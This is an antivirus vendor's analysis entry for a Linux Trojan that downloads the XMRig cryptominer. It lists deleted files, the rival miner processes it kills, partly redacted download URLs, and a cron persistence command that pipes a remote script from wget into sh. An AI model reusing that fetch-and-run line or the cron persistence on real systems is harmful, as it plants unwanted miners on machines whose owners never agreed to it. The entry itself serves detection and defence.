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Trojan.SH.MALXMR.UWEJQ

January 03, 2020
 Analysis by: Joshua Paul Ignacio
 ALIASES:

BV:Downloader-ABK [Drp] (AVAST)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

1,665 bytes

File Type:

, Other

Memory Resident:

Yes

Initial Samples Received Date:

02 Jan 2019

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other System Modifications

This Trojan deletes the following files:

  • /tmp/php
  • /tmp/p.conf

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • cryptonight
  • sustes
  • xmrig
  • xmr-stak
  • suppoie
  • zer0day.ru
  • logo9.jpg
  • p.conf

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • http://{BLOCKED}.{BLOCKED}.169.247/g.php
  • http://{BLOCKED}.{BLOCKED}.169.247/xmrig_64?{Random Numbers} - for 64-bit
  • http://{BLOCKED}.{BLOCKED}.169.247/xmrig_32?{Random Numbers} - for 32 Bit
  • http://{BLOCKED}.{BLOCKED}.169.247/p.conf
  • http://{BLOCKED}.{BLOCKED}.169.247/cr2.sh

Other Details

This Trojan does the following:

  • It creates the following cron jobs for persistence:
    • Path: /var/spool/con/crontabs/root
      Schedule: Every minute
      Command: wget -q -O - http://{BLOCKED}.{BLOCKED}.169.247/cr2.sh | sh > /dev/null 2>&1

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.598.03

FIRST VSAPI PATTERN DATE:

02 Jan 2019

VSAPI OPR PATTERN File:

15.599.00

VSAPI OPR PATTERN Date:

03 Jan 2019

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